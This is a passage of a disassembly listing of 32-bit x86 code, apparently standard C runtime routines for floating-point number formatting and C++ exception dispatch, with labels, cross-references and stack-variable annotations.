cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], 